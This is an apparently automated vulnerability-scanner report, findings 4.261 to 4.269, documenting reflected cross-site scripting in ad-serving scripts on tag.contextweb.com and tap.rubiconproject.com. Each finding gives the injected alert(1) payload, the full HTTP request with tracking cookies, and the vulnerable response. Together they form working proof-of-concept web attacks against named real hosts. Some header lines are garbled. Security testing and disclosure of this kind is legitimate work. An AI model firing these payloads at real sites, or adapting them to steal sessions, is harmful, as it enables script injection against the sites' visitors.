Path:	/TagPublish/getjs.aspx

Issue detail

The value of the cwadformat request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 66f1b"%3balert(1)//200dd16ed59 was submitted in the cwadformat parameter. This input was echoed as 66f1b";alert(1)//200dd16ed59 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=300X25066f1b"%3balert(1)//200dd16ed59&cwpid=530930&cwwidth=300&cwheight=250&cwpnet=1&cwtagid=90494 HTTP/1.1
Host: tag.contextweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce
Cookie: C2W4=CT-USR; V=RiC6i2pCL3Ub; FC1-WC=^54012_1_2R5ws; FC1-WCR=^108044_1_2R5ws; CDSActionTracking6=gDLdEnJ4dUI3|RiC6i2pCL3Ub|503597|2587|5273|54012|108044|94417|3|0|0|maysville-online.com|2|8|1|0|2|1|2||1|0|PEiOeaHGRLH4quYZj5mgESimscR103Gq|I|2QJ2U|31Blm; pb_rtb_ev=1:535039.5202f94d-e42f-420e-8fc6-233eeae015a9.0|531399.1xcfgwn0ixqhg.0

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"
CW-Server: CW-WEB28
Cache-Control: public, must-revalidate, max-age=1000
Last-Modified: Wed, 04 May 2011 15:16:23 GMT
Content-Type: application/x-javascript; charset=utf-8
Content-Length: 5833
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"
Date: Tue, 10 May 2011 14:10:04 GMT
Connection: close
Set-Cookie: cw=cw; domain=.contextweb.com; path=/

function cw_Process(){try{var cu="http://tag.contextweb.com/TagPublish/getad.aspx";var cp="530930";var ct="90494";var cf="300X25066f1b";alert(1)//200dd16ed59";var ca="VIEWAD";var cr="200";var cw="300";var ch="250";var cn="1";var cads="0";String.prototype.cwcontains=function(s){return(this.toLowerCase().indexOf(s.toLowerCase())!= -1);};var _nxy=[-1,-1];var
...[SNIP]...

4.261. http://tag.contextweb.com/TagPublish/getjs.aspx [cwheight parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tag.contextweb.com
Path:	/TagPublish/getjs.aspx

Issue detail

The value of the cwheight request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4ee5c"%3balert(1)//fb6a453f6d1 was submitted in the cwheight parameter. This input was echoed as 4ee5c";alert(1)//fb6a453f6d1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=300X250&cwpid=530930&cwwidth=300&cwheight=2504ee5c"%3balert(1)//fb6a453f6d1&cwpnet=1&cwtagid=90494 HTTP/1.1
Host: tag.contextweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce
Cookie: C2W4=CT-USR; V=RiC6i2pCL3Ub; FC1-WC=^54012_1_2R5ws; FC1-WCR=^108044_1_2R5ws; CDSActionTracking6=gDLdEnJ4dUI3|RiC6i2pCL3Ub|503597|2587|5273|54012|108044|94417|3|0|0|maysville-online.com|2|8|1|0|2|1|2||1|0|PEiOeaHGRLH4quYZj5mgESimscR103Gq|I|2QJ2U|31Blm; pb_rtb_ev=1:535039.5202f94d-e42f-420e-8fc6-233eeae015a9.0|531399.1xcfgwn0ixqhg.0

Response

HTTP/1.1 200 OK
X-Powered-By: Servlet/3.0
Server: GlassFish v3
CW-Server: CW-APP202
Cache-Control: max-age=10000, public, must-revalidate
Last-Modified: Mon, 09 May 02011 17:39:16 EDT
Content-Type: application/x-javascript;charset=ISO-8859-1
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"
Content-Length: 5919
Date: Tue, 10 May 2011 14:10:09 GMT
Connection: close
Set-Cookie: cw=cw; Domain=.contextweb.com; Expires=Tue, 10-May-2011 16:56:49 GMT; Path=/

function cw_Process(){try{var cu="http://tag.contextweb.com/TagPublish/GetAd.aspx";var cwpid="530930";var cwtagid="90494";var cwadformat="300X250";var ca="VIEWAD";var cr="200";var cw="300";var ch="2504ee5c";alert(1)//fb6a453f6d1";var cads="0";var cp="530930";var ct="90494";var cf="300X250";var cn="1";String.prototype.cwcontains=function(s){return(this.toLowerCase().indexOf(s.toLowerCase())!= -1);};var _nxy=[-1,-1];var _cwd=do
...[SNIP]...

4.262. http://tag.contextweb.com/TagPublish/getjs.aspx [cwpid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tag.contextweb.com
Path:	/TagPublish/getjs.aspx

Issue detail

The value of the cwpid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 56ed3"%3balert(1)//d874297eb1c was submitted in the cwpid parameter. This input was echoed as 56ed3";alert(1)//d874297eb1c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=300X250&cwpid=53093056ed3"%3balert(1)//d874297eb1c&cwwidth=300&cwheight=250&cwpnet=1&cwtagid=90494 HTTP/1.1
Host: tag.contextweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce
Cookie: C2W4=CT-USR; V=RiC6i2pCL3Ub; FC1-WC=^54012_1_2R5ws; FC1-WCR=^108044_1_2R5ws; CDSActionTracking6=gDLdEnJ4dUI3|RiC6i2pCL3Ub|503597|2587|5273|54012|108044|94417|3|0|0|maysville-online.com|2|8|1|0|2|1|2||1|0|PEiOeaHGRLH4quYZj5mgESimscR103Gq|I|2QJ2U|31Blm; pb_rtb_ev=1:535039.5202f94d-e42f-420e-8fc6-233eeae015a9.0|531399.1xcfgwn0ixqhg.0

Response

HTTP/1.1 200 OK
X-Powered-By: Servlet/3.0
Server: GlassFish v3
CW-Server: CW-APP203
Cache-Control: max-age=10000, public, must-revalidate
Last-Modified: Mon, 09 May 02011 17:48:58 EDT
Content-Type: application/x-javascript;charset=ISO-8859-1
nnCoection: close
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"
Content-Length: 5947
Date: Tue, 10 May 2011 14:10:06 GMT
Connection: close
Set-Cookie: cw=cw; Domain=.contextweb.com; Expires=Tue, 10-May-2011 16:56:46 GMT; Path=/

function cw_Process(){try{var cu="http://tag.contextweb.com/TagPublish/GetAd.aspx";var cwpid="53093056ed3";alert(1)//d874297eb1c";var cwtagid="90494";var cwadformat="300X250";var ca="VIEWAD";var cr="200";var cw="300";var ch="250";var cads="0";var cp="53093056ed3";alert(1)//d874297eb1c";var ct="90494";var cf="300X250";var cn="1"
...[SNIP]...

4.263. http://tag.contextweb.com/TagPublish/getjs.aspx [cwpnet parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tag.contextweb.com
Path:	/TagPublish/getjs.aspx

Issue detail

The value of the cwpnet request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f6745"%3balert(1)//199cf088de0 was submitted in the cwpnet parameter. This input was echoed as f6745";alert(1)//199cf088de0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=300X250&cwpid=530930&cwwidth=300&cwheight=250&cwpnet=1f6745"%3balert(1)//199cf088de0&cwtagid=90494 HTTP/1.1
Host: tag.contextweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce
Cookie: C2W4=CT-USR; V=RiC6i2pCL3Ub; FC1-WC=^54012_1_2R5ws; FC1-WCR=^108044_1_2R5ws; CDSActionTracking6=gDLdEnJ4dUI3|RiC6i2pCL3Ub|503597|2587|5273|54012|108044|94417|3|0|0|maysville-online.com|2|8|1|0|2|1|2||1|0|PEiOeaHGRLH4quYZj5mgESimscR103Gq|I|2QJ2U|31Blm; pb_rtb_ev=1:535039.5202f94d-e42f-420e-8fc6-233eeae015a9.0|531399.1xcfgwn0ixqhg.0

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"
CW-Server: CW-WEB28
Cache-Control: public, must-revalidate, max-age=1000
Last-Modified: Wed, 04 May 2011 15:16:23 GMT
Content-Type: application/x-javascript; charset=utf-8
Content-Length: 5833
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"
Date: Tue, 10 May 2011 14:10:10 GMT
Connection: close
Set-Cookie: cw=cw; domain=.contextweb.com; path=/

function cw_Process(){try{var cu="http://tag.contextweb.com/TagPublish/getad.aspx";var cp="530930";var ct="90494";var cf="300X250";var ca="VIEWAD";var cr="200";var cw="300";var ch="250";var cn="1f6745";alert(1)//199cf088de0";var cads="0";String.prototype.cwcontains=function(s){return(this.toLowerCase().indexOf(s.toLowerCase())!= -1);};var _nxy=[-1,-1];var _cwd=document;var _cww=window;var _cwu="undefined";var _cwn=naviga
...[SNIP]...

4.264. http://tag.contextweb.com/TagPublish/getjs.aspx [cwrun parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tag.contextweb.com
Path:	/TagPublish/getjs.aspx

Issue detail

The value of the cwrun request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e1772"%3balert(1)//09563857719 was submitted in the cwrun parameter. This input was echoed as e1772";alert(1)//09563857719 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /TagPublish/getjs.aspx?action=VIEWAD&cwrun=200e1772"%3balert(1)//09563857719&cwadformat=300X250&cwpid=530930&cwwidth=300&cwheight=250&cwpnet=1&cwtagid=90494 HTTP/1.1
Host: tag.contextweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce
Cookie: C2W4=CT-USR; V=RiC6i2pCL3Ub; FC1-WC=^54012_1_2R5ws; FC1-WCR=^108044_1_2R5ws; CDSActionTracking6=gDLdEnJ4dUI3|RiC6i2pCL3Ub|503597|2587|5273|54012|108044|94417|3|0|0|maysville-online.com|2|8|1|0|2|1|2||1|0|PEiOeaHGRLH4quYZj5mgESimscR103Gq|I|2QJ2U|31Blm; pb_rtb_ev=1:535039.5202f94d-e42f-420e-8fc6-233eeae015a9.0|531399.1xcfgwn0ixqhg.0

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"
X-Powered-By: ASP.NET
CW-Server: CW-WEB24
Cache-Control: public, must-revalidate, max-age=1000
Last-Modified: Wed, 04 May 2011 15:16:23 GMT
Content-Type: application/x-javascript; charset=utf-8
Content-Length: 5833
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"
Date: Tue, 10 May 2011 14:10:03 GMT
Connection: close
Set-Cookie: cw=cw; domain=.contextweb.com; path=/

function cw_Process(){try{var cu="http://tag.contextweb.com/TagPublish/getad.aspx";var cp="530930";var ct="90494";var cf="300X250";var ca="VIEWAD";var cr="200e1772";alert(1)//09563857719";var cw="300";var ch="250";var cn="1";var cads="0";String.prototype.cwcontains=function(s){return(this.toLowerCase().indexOf(s.toLowerCase())!= -1);};var _nxy=[-1,-1];var _cwd=document;var _cww=window
...[SNIP]...

4.265. http://tag.contextweb.com/TagPublish/getjs.aspx [cwtagid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tag.contextweb.com
Path:	/TagPublish/getjs.aspx

Issue detail

The value of the cwtagid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 28401"%3balert(1)//cd33c9d25b8 was submitted in the cwtagid parameter. This input was echoed as 28401";alert(1)//cd33c9d25b8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=300X250&cwpid=530930&cwwidth=300&cwheight=250&cwpnet=1&cwtagid=9049428401"%3balert(1)//cd33c9d25b8 HTTP/1.1
Host: tag.contextweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce
Cookie: C2W4=CT-USR; V=RiC6i2pCL3Ub; FC1-WC=^54012_1_2R5ws; FC1-WCR=^108044_1_2R5ws; CDSActionTracking6=gDLdEnJ4dUI3|RiC6i2pCL3Ub|503597|2587|5273|54012|108044|94417|3|0|0|maysville-online.com|2|8|1|0|2|1|2||1|0|PEiOeaHGRLH4quYZj5mgESimscR103Gq|I|2QJ2U|31Blm; pb_rtb_ev=1:535039.5202f94d-e42f-420e-8fc6-233eeae015a9.0|531399.1xcfgwn0ixqhg.0

Response

HTTP/1.1 200 OK
X-Powered-By: Servlet/3.0
Server: GlassFish v3
CW-Server: CW-APP205
Cache-Control: max-age=10000, public, must-revalidate
Last-Modified: Mon, 09 May 02011 17:43:20 EDT
Content-Type: application/x-javascript;charset=ISO-8859-1
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"
Content-Length: 5947
Date: Tue, 10 May 2011 14:10:13 GMT
Connection: close
Set-Cookie: cw=cw; Domain=.contextweb.com; Expires=Tue, 10-May-2011 16:56:53 GMT; Path=/

function cw_Process(){try{var cu="http://tag.contextweb.com/TagPublish/GetAd.aspx";var cwpid="530930";var cwtagid="9049428401";alert(1)//cd33c9d25b8";var cwadformat="300X250";var ca="VIEWAD";var cr="200";var cw="300";var ch="250";var cads="0";var cp="530930";var ct="9049428401";alert(1)//cd33c9d25b8";var cf="300X250";var cn="1";String.prototype.cw
...[SNIP]...

4.266. http://tag.contextweb.com/TagPublish/getjs.aspx [cwwidth parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tag.contextweb.com
Path:	/TagPublish/getjs.aspx

Issue detail

The value of the cwwidth request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ad733"%3balert(1)//2dd876b3d1e was submitted in the cwwidth parameter. This input was echoed as ad733";alert(1)//2dd876b3d1e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=300X250&cwpid=530930&cwwidth=300ad733"%3balert(1)//2dd876b3d1e&cwheight=250&cwpnet=1&cwtagid=90494 HTTP/1.1
Host: tag.contextweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce
Cookie: C2W4=CT-USR; V=RiC6i2pCL3Ub; FC1-WC=^54012_1_2R5ws; FC1-WCR=^108044_1_2R5ws; CDSActionTracking6=gDLdEnJ4dUI3|RiC6i2pCL3Ub|503597|2587|5273|54012|108044|94417|3|0|0|maysville-online.com|2|8|1|0|2|1|2||1|0|PEiOeaHGRLH4quYZj5mgESimscR103Gq|I|2QJ2U|31Blm; pb_rtb_ev=1:535039.5202f94d-e42f-420e-8fc6-233eeae015a9.0|531399.1xcfgwn0ixqhg.0

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"
X-Powered-By: ASP.NET
CW-Server: CW-WEB25
Cache-Control: public, must-revalidate, max-age=1000
Last-Modified: Wed, 04 May 2011 15:16:23 GMT
Content-Type: application/x-javascript; charset=utf-8
Content-Length: 5833
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"
Date: Tue, 10 May 2011 14:10:07 GMT
Connection: close
Set-Cookie: cw=cw; domain=.contextweb.com; path=/

function cw_Process(){try{var cu="http://tag.contextweb.com/TagPublish/getad.aspx";var cp="530930";var ct="90494";var cf="300X250";var ca="VIEWAD";var cr="200";var cw="300ad733";alert(1)//2dd876b3d1e";var ch="250";var cn="1";var cads="0";String.prototype.cwcontains=function(s){return(this.toLowerCase().indexOf(s.toLowerCase())!= -1);};var _nxy=[-1,-1];var _cwd=document;var _cww=window;var _cwu="un
...[SNIP]...

4.267. http://tap.rubiconproject.com/partner/agent/rubicon/insight.js [&ak parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tap.rubiconproject.com
Path:	/partner/agent/rubicon/insight.js

Issue detail

The value of the &ak request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fc00c"%3balert(1)//8e7c72a92f9 was submitted in the &ak parameter. This input was echoed as fc00c";alert(1)//8e7c72a92f9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /partner/agent/rubicon/insight.js?&ak=KSN7-G95ZM3FDfc00c"%3balert(1)//8e7c72a92f9&as=oas&cb=oz_onInsightLoaded HTTP/1.1
Host: tap.rubiconproject.com
Proxy-Connection: keep-alive
Referer: http://letters.salon.com/politics/war_room/2011/05/09/santorum_loser/view/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: put_2025=549188a1-a07c-4231-be94-7f725e1a19f7; au=GMMM871R-KIRO-10.208.77.156; put_2081=AM-00000000030620452; put_2146=6wa51p1zbco8b5ocw49utyfiu6fa98yq; put_1197=3419824627245671268; put_1430=c1e1301e-3a1f-4ca7-9870-f636b5f10e66; put_2100=usr3fd49cb9a7122f52; put_1512=4dab7d35-b1d2-915a-d3c0-9d57f9c66b07; put_2101=8218888f-9a83-4760-bd14-33b4666730c0; put_1523=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC; put_2132=978972DFA063000D2C0E7A380BFA1DEC; lm="2 May 2011 12:48:41 GMT"; put_1994=xrd52zkwjuxh; put_1986=2724386019227846218; put_1185=2931142961646634775; csi9=3200914.js^1^1304949675^1304949675; ruid=154dab7990adc1d6f3372c12^10^1304954976^2915161843; csi2=3164882.js^2^1304954981^1304955491&3187892.js^3^1304955417^1304955486&3186629.js^1^1304954976^1304954976&3196046.js^2^1304949680^1304949693&3200913.js^1^1304949680^1304949680; csi15=3159511.js^1^1304956968^1304956968&3173215.js^2^1304949690^1304949693&3200915.js^1^1304949679^1304949679&3151665.js^1^1304949670^1304949670; khaos=GMMM8SST-B-HSA1; rpb=5328%3D1%265671%3D1%264210%3D1%265852%3D1%264214%3D1%262939%3D1%264140%3D1%264554%3D1%266073%3D1%264222%3D1%266286%3D1%262786%3D1%264940%3D1%265864%3D1%265487%3D1%266552%3D1%264894%3D1%264212%3D1%264705%3D1%262372%3D1%262202%3D1%262496%3D1%263512%3D1%262197%3D1%262579%3D1%262112%3D1%262497%3D1%262374%3D1; cd=false; dq=72|7|65|0

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:13:27 GMT
Server: TRP Apache-Coyote/1.1
Cache-Control: max-age=14400
Last-Modified: Tue, 10 May 2011 13:13:28 GMT
Expires: Tue, 10 May 2011 17:13:28 GMT
Content-Type: text/javascript;charset=UTF-8
Content-Length: 410
Set-Cookie: khaos=GMMM8SST-B-HSA1; Domain=.rubiconproject.com; Expires=Wed, 08-May-2019 13:13:28 GMT; Path=/
Connection: close

var rp_response = {
context : {
    oz_api : "insight"
    ,oz_api_key : "KSN7-G95ZM3FDfc00c";alert(1)//8e7c72a92f9"


                ,oz_ad_server : "oas"
},
insight : {"behavior": [
"Finance",
"Small Business",
"Business & Industry",
"Mortgage Refinance"
]}
};

var rp_insight = r
...[SNIP]...

4.268. http://tap.rubiconproject.com/partner/agent/rubicon/insight.js [as parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tap.rubiconproject.com
Path:	/partner/agent/rubicon/insight.js

Issue detail

The value of the as request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 50471"%3balert(1)//026f420c659 was submitted in the as parameter. This input was echoed as 50471";alert(1)//026f420c659 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /partner/agent/rubicon/insight.js?&ak=KSN7-G95ZM3FD&as=oas50471"%3balert(1)//026f420c659&cb=oz_onInsightLoaded HTTP/1.1
Host: tap.rubiconproject.com
Proxy-Connection: keep-alive
Referer: http://letters.salon.com/politics/war_room/2011/05/09/santorum_loser/view/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: put_2025=549188a1-a07c-4231-be94-7f725e1a19f7; au=GMMM871R-KIRO-10.208.77.156; put_2081=AM-00000000030620452; put_2146=6wa51p1zbco8b5ocw49utyfiu6fa98yq; put_1197=3419824627245671268; put_1430=c1e1301e-3a1f-4ca7-9870-f636b5f10e66; put_2100=usr3fd49cb9a7122f52; put_1512=4dab7d35-b1d2-915a-d3c0-9d57f9c66b07; put_2101=8218888f-9a83-4760-bd14-33b4666730c0; put_1523=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC; put_2132=978972DFA063000D2C0E7A380BFA1DEC; lm="2 May 2011 12:48:41 GMT"; put_1994=xrd52zkwjuxh; put_1986=2724386019227846218; put_1185=2931142961646634775; csi9=3200914.js^1^1304949675^1304949675; ruid=154dab7990adc1d6f3372c12^10^1304954976^2915161843; csi2=3164882.js^2^1304954981^1304955491&3187892.js^3^1304955417^1304955486&3186629.js^1^1304954976^1304954976&3196046.js^2^1304949680^1304949693&3200913.js^1^1304949680^1304949680; csi15=3159511.js^1^1304956968^1304956968&3173215.js^2^1304949690^1304949693&3200915.js^1^1304949679^1304949679&3151665.js^1^1304949670^1304949670; khaos=GMMM8SST-B-HSA1; rpb=5328%3D1%265671%3D1%264210%3D1%265852%3D1%264214%3D1%262939%3D1%264140%3D1%264554%3D1%266073%3D1%264222%3D1%266286%3D1%262786%3D1%264940%3D1%265864%3D1%265487%3D1%266552%3D1%264894%3D1%264212%3D1%264705%3D1%262372%3D1%262202%3D1%262496%3D1%263512%3D1%262197%3D1%262579%3D1%262112%3D1%262497%3D1%262374%3D1; cd=false; dq=72|7|65|0

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:13:28 GMT
Server: TRP Apache-Coyote/1.1
Cache-Control: max-age=14400
Last-Modified: Tue, 10 May 2011 13:13:28 GMT
Expires: Tue, 10 May 2011 17:13:28 GMT
Content-Type: text/javascript;charset=UTF-8
Content-Length: 443
Set-Cookie: khaos=GMMM8SST-B-HSA1; Domain=.rubiconproject.com; Expires=Wed, 08-May-2019 13:13:28 GMT; Path=/
Connection: close

var rp_response = {
context : {
    oz_api : "insight"
    ,oz_api_key : "KSN7-G95ZM3FD"

    ,oz_partner_channel : "3029/3141"


        ,oz_ad_server : "oas50471";alert(1)//026f420c659"
},
insight : {"behavior": [
"Finance",
"Small Business",
"Business & Industry",
"Mortgage Refinance"
]}
};

var rp_insight = rp_response.insight ;

try {
oz_onInsightLo
...[SNIP]...

4.269. http://tap.rubiconproject.com/partner/agent/rubicon/insight.js [cb parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tap.rubiconproject.com
Path:	/partner/agent/rubicon/insight.js

Issue detail

The value of the cb request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload eca67%3balert(1)//8faeecc89b0 was submitted in the cb parameter. This input was echoed as eca67;alert(1)//8faeecc89b0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /partner/agent/rubicon/insight.js?&ak=KSN7-G95ZM3FD&as=oas&cb=oz_onInsightLoadedeca67%3balert(1)//8faeecc89b0 HTTP/1.1
Host: tap.rubiconproject.com
Proxy-Connection: keep-alive
Referer: http://letters.salon.com/politics/war_room/2011/05/09/santorum_loser/view/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: put_2025=549188a1-a07c-4231-be94-7f725e1a19f7; au=GMMM871R-KIRO-10.208.77.156; put_2081=AM-00000000030620452; put_2146=6wa51p1zbco8b5ocw49utyfiu6fa98yq; put_1197=3419824627245671268; put_1430=c1e1301e-3a1f-4ca7-9870-f636b5f10e66; put_2100=usr3fd49cb9a7122f52; put_1512=4dab7d35-b1d2-915a-d3c0-9d57f9c66b07; put_2101=8218888f-9a83-4760-bd14-33b4666730c0; put_1523=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC; put_2132=978972DFA063000D2C0E7A380BFA1DEC; lm="2 May 2011 12:48:41 GMT"; put_1994=xrd52zkwjuxh; put_1986=2724386019227846218; put_1185=2931142961646634775; csi9=3200914.js^1^1304949675^1304949675; ruid=154dab7990adc1d6f3372c12^10^1304954976^2915161843; csi2=3164882.js^2^1304954981^1304955491&3187892.js^3^1304955417^1304955486&3186629.js^1^1304954976^1304954976&3196046.js^2^1304949680^1304949693&3200913.js^1^1304949680^1304949680; csi15=3159511.js^1^1304956968^1304956968&3173215.js^2^1304949690^1304949693&3200915.js^1^1304949679^1304949679&3151665.js^1^1304949670^1304949670; khaos=GMMM8SST-B-HSA1; rpb=5328%3D1%265671%3D1%264210%3D1%265852%3D1%264214%3D1%262939%3D1%264140%3D1%264554%3D1%266073%3D1%264222%3D1%266286%3D1%262786%3D1%264940%3D1%265864%3D1%265487%3D1%266552%3D1%264894%3D1%264212%3D1%264705%3D1%262372%3D1%262202%3D1%262496%3D1%263512%3D1%262197%3D1%262579%3D1%262112%3D1%262497%3D1%262374%3D1; cd=false; dq=72|7|65|0

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:13:29 GMT
Server: TRP Apache-Coyote/1.1
Cache-Control: max-age=14400
Last-Modified: Tue, 10 May 2011 13:13:29 GMT
Expires: Tue, 10 May 2011 17:13:29 GMT
Content-Type: text/javascript;charset=UTF-8
Content-Length: 442
Set-Cookie: khaos=GMMM8SST-B-HSA1; Domain=.rubiconproject.com; Expires=Wed, 08-May-2019 13:13:29 GMT; Path=/
Connection: close

var rp_response = {
context : {
    oz_api : "insight"
    ,oz_api_key : "KSN7-G95ZM3FD"

    ,oz_partner_channel : "3029/3141"


        ,oz_ad_server : "oas"
},
insight : {"behavior": [
"Finance",
"Small Business",
"Business & Industry",
"Mortgage Refinance"
